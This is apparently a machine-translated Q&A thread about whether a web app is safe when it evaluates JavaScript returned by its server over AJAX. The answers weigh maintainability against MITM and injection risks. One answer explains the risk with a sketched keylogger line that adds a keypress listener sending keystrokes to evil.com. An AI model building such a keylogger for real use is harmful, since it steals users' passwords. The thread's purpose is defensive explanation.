我正在修改现有的Web应用程序,该应用程序能够管理能够登录系统的用户。通过对话框修改用户的详细信息时,更新数据将通过AJAX发送到服务器。然后返回几行javascript来更新当前页面以反映这些更改,以便执行。这让我感觉很糟糕 - 没有执行远程获取的JS危险吗?
如果我要修改它,我会发送更新信息的AJAX调用,然后调用另一个通过AJAX从服务器获取最新数据的函数(或者只是刷新页面,如果我感觉很懒)。是否有任何优势(主要是安全性,但从建筑角度来看)进行这种改变,还是我是肛门?
答案 0 :(得分:4)
假设我们正在讨论非json上使用的eval。
人们会告诉你各种各样的事情,其中大部分都有一些现实基础。我要说的一个理由是可以理解的:它会使代码成为维护的噩梦,并且很难追踪错误。
有安全隐患,很多人喜欢跳上“javascript是客户问题”的潮流。我说如果它来自你的网站,那也是你的问题。最后,我没有理由想到从服务器评估javascript。从服务器传递数据,并在客户端编写javascript以对该数据做出反应。
答案 1 :(得分:3)
远程获取浏览器执行的所有JS。
通过AJAX返回JS / JSON的服务器与返回首先执行AJAX调用的HTML的服务器相同。
如果可能做坏事,无论你是否eval
AJAX调用的结果都可以做到。
答案 2 :(得分:2)
就个人而言,我没有看到这个问题。当然,人们说诸如“它允许代码执行客户端”这样的事情,但是如果潜在的攻击者能够影响它,那么这就是你的问题 - 而不是修改代码的能力。
说真的,我认为你有更多紧迫的问题。我个人花了大约10分钟左右来审查你的代码并寻找缺陷而不是替代eval()。我认为它会提高你的安全性。
迈克塞缪尔提到了MITM。我不明白为什么。如果您容易受到MITM攻击,那么很可能会将代码直接注入初始HTML页面(再次确定,风险略高,但是真的值得担心吗?您的选择。)答案 3 :(得分:1)
如果受信任的开发人员编写了所有,并按照您执行其余HTML页面的方式保护它,那么不会。
但即使它是由受信任的开发人员编写的JavaScript,如果它是通过HTTP提供的,那么攻击者可以在飞行中对其进行修改,因为免费无线上的HTTP通常容易受MITM的影响。
这可用于在当前浏览器窗口中有效安装键盘记录程序以窃取用户密码,将其重定向到网络钓鱼页面等。
攻击可能会这样:
http://example.com/foo.js
。foo.js
以添加window.addEventListener("keypress", /* a keylogger that sends all keys to evil.com cross domain by image loading tricks */)
<input type=password>
。由于HTTPS(假设没有混合内容)不容易受到MITM的影响,因此不容易受到这种攻击。
答案 4 :(得分:0)
排序答案:是
答案很长:您应该出于安全原因发送数据,并将实施分开。
不正确地清理用户提交的内容或广告可能会注入代码并使其运行。当然,这必须是一个有针对性的攻击,但嘿,也许你正在为一家初创公司工作,这将是下一个谷歌或论坛系统,它将成为下一个vBulliten。即使你有10个用户,安全漏洞仍然是漏洞,对你和你的用户来说仍然是坏事。另外,糟糕的安全建议会让人无法做出错误的决定。
您是否真的想要确保您在运行中生成的代码并在所有可能情况下发送给客户端都是正确的?如果其他人只在系统的一半上工作怎么办?他们是否会知道每个变量名称以避免踩踏?只是发送数据是保持客户端/服务器通信中“小”变化的最佳方式,不会以不明显的方式破坏所有内容,并且需要永远进行调试。
答案 5 :(得分:0)
您可能不希望在发送数据更新后再调用另一个函数,因为如果更新失败,您可能会显示不正确的信息。至少在当前模型下,您的服务可以根据更新是否成功来定制javascript。您可能需要考虑让服务只返回true / false并让回调函数处理UI的更新。